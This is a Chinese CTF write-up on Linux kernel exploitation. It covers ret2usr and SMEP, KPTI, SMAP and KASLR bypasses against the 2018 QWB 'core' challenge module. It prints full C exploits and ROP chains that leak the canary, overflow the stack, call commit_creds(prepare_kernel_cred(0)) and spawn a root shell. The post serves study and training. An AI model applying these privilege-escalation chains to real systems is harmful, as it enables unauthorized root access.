ret2usr利用手法以及常见保护机制绕过浅析

collectcrop Lv3

ret2usr利用手法以及常见保护机制绕过浅析

ret2usr

在SMAP、SMEP以及kpti保护未开启时,内核空间可以访问或执行用户空间的数据,那我们其实可以直接返回到用户空间执行函数,从而避免构造较为复杂的内核ROP链。

这里仍以2018 强网杯 - core为例,这题中虽然开了kaslr,但是我们不需要利用一些手法来泄露地址,init脚本中本身就给我们提供了一些利用点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# init
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

# poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
# setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

# poweroff -d 0 -f

从init文件中我们可以看出/proc/kallsyms中存的符号信息被备份到了/tmp/kallsyms。这样一来echo 1 > /proc/sys/kernel/kptr_restrict使普通用户无法查看确切的内核符号加载地址的措施就形同虚设了。那么之后我们写exp时就能够直接打开/tmp/kallsyms文件进行读取操作。

然后就是看core.ko这个内核驱动模块的漏洞了。

init_module注册了/proc/coreexit_core删除了/proc/core

core_ioctl这个相当于堆题的菜单,有不同的功能选项。

core_readv4[off] 拷贝 64 个字节到a1,a1也就是后面我们可以传入的用户空间的一个缓冲区,而且全局变量 off 是我们能够控制的,因此可以合理的控制 off 来 将canary 和一些地址读取到用户空间的缓冲区,然后再自己把这个缓冲区内的内容输出,从而能泄露内核空间的一些地址。

core_copy_func() 从全局变量 name 中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy 用的是 unsigned __int16,但传递的长度是 signed __int64,因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值,就可以栈溢出了。

core_write() 向全局变量 name 上写,这样通过 core_write()core_copy_func() 就可以控制 ropchain 了

那我们可以首先靠读取/tmp/kallsyms来获取内核符号基址,然后可以直接劫持控制流到用户空间,用户空间则是提前布置调用内核函数的commit_creds(prepare_kernel_cred(null)),然后最后返回用户态执行system("/bin/sh")。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
// gcc ret2usr.c -static -masm=intel -g -o ret2usr
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>


size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;

size_t vmlinux_base = 0;
void getPrivilege(){
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}


size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r"); //打开符号表,获取各符号偏移
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd)) //48条项目一组,一直找commit_creds和prepare_kernel_cred符号的地址
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16); //地址在前16个字节
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds); //以llx模式解析16个字节,正确解析出地址
printf("commit_creds addr: %p\n", commit_creds);
/*
* give_to_player [master●●] bpython
bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'
*/
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}

int main()
{
save_status();
int fd = open("/proc/core", 2); //以读写模式打开
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}

find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;

set_off(fd, 0x40);

char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);

size_t rop[0x1000] = {0};

int i;
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = (size_t)getPrivilege;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));

return 0;
}

这个exp是参照了ctfwiki上的exp,这时我有个疑问就是为什么即使可以直接执行用户空间的代码,最后还需要swapgs; popfq; ret;以及iretq; ret着陆用户态呢,如果直接返回到system("/bin/sh")又会发生什么呢?

这里我们把rop缩短至如下:

1
2
3
4
5
6
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = (size_t)getPrivilege;
rop[i++] = (size_t)spawn_shell; // rip

然后到我们主程序的spawn_shell中就内核就panic了,第一个call这里也就是getuid这个libc函数的调用。这里即使我们去除掉getuid的判断,system函数调用还是会崩溃。

如果控制了内核态的 RIP,并且直接让 RIP 指向 system("/bin/sh") 这样的 libc 函数,会发生以下情况:

  1. system() 仍然在内核态运行
    • system("/bin/sh") 这个函数是用户态的 libc 代码,执行时它会认为自己仍然在 Ring 3(但实际上是 Ring 0)。
    • 因为没有切换回用户态,进程仍然在 Ring 0 执行,但 libc 代码假设它在用户态,可能会导致非法访问内核地址,或者崩溃。
  2. 可能访问非法地址
    • system() 需要用户态的栈,如果它访问用户态的 RSP,但 RSP 仍然是内核态栈,可能会导致崩溃。
  3. 可能执行 syscall,导致未知行为
    • system() 依赖 execve(),会执行 syscall,但 在内核态执行 syscall 会导致崩溃,因为 syscall 只能从用户态触发。

所以我们完成提权后还需着陆用户态。

smep保护绕过

首先我们要了解smep保护开启与否与CR4寄存器的值密切相关。当 CR4 寄存器的第 20 位是 1 时,保护开启;是 0 时,保护关闭。

但是如果我们开启了smep保护,上述exp就不能成功运行了。首先要开启smep,就可以简单的在启动文件里面的-cpu选项中加上一个+smep即可。而且如果想在cpu选项开启smep或smap保护,都需要先明确指定cpu模型。

如上题的start.sh更改如下:

1
2
3
4
5
6
7
8
9
10
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./mycore.cpio \
-cpu qemu64-v1,+smep \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

那么我们如果再次进入内核环境并调用我们的ret2usr的exp,内核就会直接panic,主要是因为开启了smep保护。

那么我们就可以开始找能够更改cr4寄存器值的gadget,首先肯定是检索cr4,我们关注中间的几个gadget。其中有的push rcx; popfq;这种实际上不用管,相当于把rcx寄存器的值存到e/rflags寄存器中。那么我们可以通过控制rax或rdi来控制cr4。

1
ropper --file ./vmlinux --nocolor > g1

比如我找了pop rdi;ret的gadget,然后就能完全控制cr4寄存器的值了。为了关闭 smep 保护,常用一个固定值 0x6f0,即 mov cr4, 0x6f0。从 0x6f0 可以看出它 启用了以下 CR4 位

Bit 名称 作用
7 PGE 启用全局页,提高 TLB 命中率
9 OSFXSR 启用 FXSAVE/FXRSTOR 指令
10 OSXMMEXCPT 允许 SSE 异常处理
5 PAE 启用物理地址扩展
4 PSE 启用 4MB 大页
6 MCE 启用机器检查异常

这些是正常的系统默认启用的 CPU 特性,并不会影响漏洞利用。

rop更改如下,然后就能正常直接走ret2usr:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = (size_t)getPrivilege;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
*/

for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; //pop rdi; ret
rop[i++] = 0x6f0;

rop[i++] = 0xffffffff81075014 + offset; // mov cr4, rdi; push rdx; popfq; ret;

rop[i++] = (size_t)getPrivilege;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

改前后的cr4寄存器值如下,确实能够成功修改。然后我们回去把init改成用普通用户启动,测试是否能够提权。

绕过smep,成功提权。

但实际上现代内核中通常会采用“CR4钉住”(CR4 pinning)的机制,使得即使你尝试修改这些位(包括SMAP和SMEP相关位),内核会自动恢复它们的固定状态,从而防止这种简单的修改。所以现在ret2usr这种利用手法已经几乎失效了,一般只能走内核ROP,比如用后述kpti得绕过方法。

kpti保护绕过

KPTI(Kernel Page-Table Isolation,内核页表隔离)是一种 安全防御机制,用于 防止内核地址泄露,主要是为了 缓解 Meltdown 漏洞(CVE-2017-5754)。

启用 KPTI 的系统上:

  • 用户态运行时,完全隔离 内核的页表,防止用户态进程访问或推测出内核地址。
  • 只有在 发生系统调用(syscall)、中断或异常 时,才会 切换到内核页表 进行内核代码执行。

未启用 KPTI 的情况下,CR3 指向的页表包含 用户态和内核态的地址映射问题:Meltdown 攻击可以利用 CPU 的 推测执行漏洞,从用户态读取本应受保护的 内核地址

KPTI 通过修改 CR3 来隔离页表:

  • 用户态执行时:CR3 只加载 用户页表(不包含内核页表)。
  • 进入内核态时(如 syscall):CR3 切换到 完整页表(包含用户和内核页表)。

KPTI保护机制的绕过主要包括异常处理以及页表切换两种绕过利用手法,到了kpti这种保护时其实我们的ret2usr手法已经不能生效了,需要构建内核ROP并绕过限制,我们还是以上面的题目为例,启动脚本加上kpti=1来启用页表隔离,注意这里cpu参数中用的是kvm64模型(这个模型默认kpti是开启的,这里手动指定方便查看),之前的qemu64-v1会启动不了kpti。

1
2
3
4
5
6
7
8
9
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./mycore.cpio \
-cpu kvm64,+smep \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr kpti=1" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
异常处理

首先我们来看看如果不用异常处理,而是直接ROP着陆用户态执行用户代码,那么最后会爆Segmentation fault。这是因为在 KPTI 启用的情况下,用户态和内核态的 CR3 必须正确切换,否则CPU 仍然使用内核页表访问用户态地址,就会崩溃。

所以主要思路是捕获Segmentation fault的异常,在异常处理中调用system(/bin/sh)。这种方式能成功地关键在于内核ROP时其实已经成功把当前进程的cred换成了具有root权限的cred。之后靠异常处理就能获得到root权限的shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
// gcc kpti_bypass.c -static -masm=intel -g -o kpti_bypass
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <signal.h>

void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;

size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r"); //打开符号表,获取各符号偏移
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd)) //48条项目一组,一直找commit_creds和prepare_kernel_cred符号的地址
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16); //地址在前16个字节
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds); //以llx模式解析16个字节,正确解析出地址
printf("commit_creds addr: %p\n", commit_creds);

vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;

}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}

int main()
{
save_status();
signal(SIGSEGV, spawn_shell);
int fd = open("/proc/core", 2); //以读写模式打开
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}

find_symbols();
ssize_t offset = vmlinux_base - raw_vmlinux_base;

set_off(fd, 0x40);

char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);

size_t rop[0x1000] = {0};

int i;
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));

return 0;
}
页表切换

借鉴之前改cr4寄存器实现绕过smep的方式,这里我们可以通过操作cr3寄存器实现kpti的绕过。这种方式用的是swapgs_restore_regs_and_return_to_usermode函数,这个函数是 Linux 内核从内核态返回用户态 时使用的一个关键函数,它主要用于 处理 KPTI(Kernel Page Table Isolation) 以及 恢复用户态寄存器

该函数的内部存在修改CR3的操作,因此只需要调用该函数,就可以从内核空间的页表修改为用户空间的页表。这里有个小trick,就是能够从该函数偏移0x16处开始执行,因为前面是一排弹栈操作,十分吃ROP空间,而且对后面影响不大。最后注意调用该函数+0x16时,最后还会从栈上弹两个地址,需要我们填充。

最后就能成功进入我们的shell中

获取地址偏移方式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// ROP
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

// rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
// rop[i++] = 0;
// rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = 0xffffffff81a008da + offset + 0x16; // swapgs_restore_regs_and_return_to_usermode
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

smap保护绕过

SMAP,全称 Supervisor Mode Access Prevention,是一种硬件安全机制,主要用于防止内核意外或恶意地访问用户空间内存。

此时使用swapgs_restore_regs_and_return_to_usermode函数也是完全可以绕过的,因此可以直接使用它构建ROP链。

若rop长度不够需要栈迁移,则需要更加精巧的手段,我们放到以后学习。

kaslr保护绕过

与正常pwn题的aslr绕过类似,需要找到漏洞点泄露地址,进而算出基址,与用户态下的利用没有区别。

  • 标题: ret2usr利用手法以及常见保护机制绕过浅析
  • 作者: collectcrop
  • 创建于 : 2025-03-09 17:05:31
  • 更新于 : 2025-03-09 17:05:31
  • 链接: https://collectcrop.github.io/2025/03/09/ret2usr利用手法以及常见保护机制绕过浅析/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。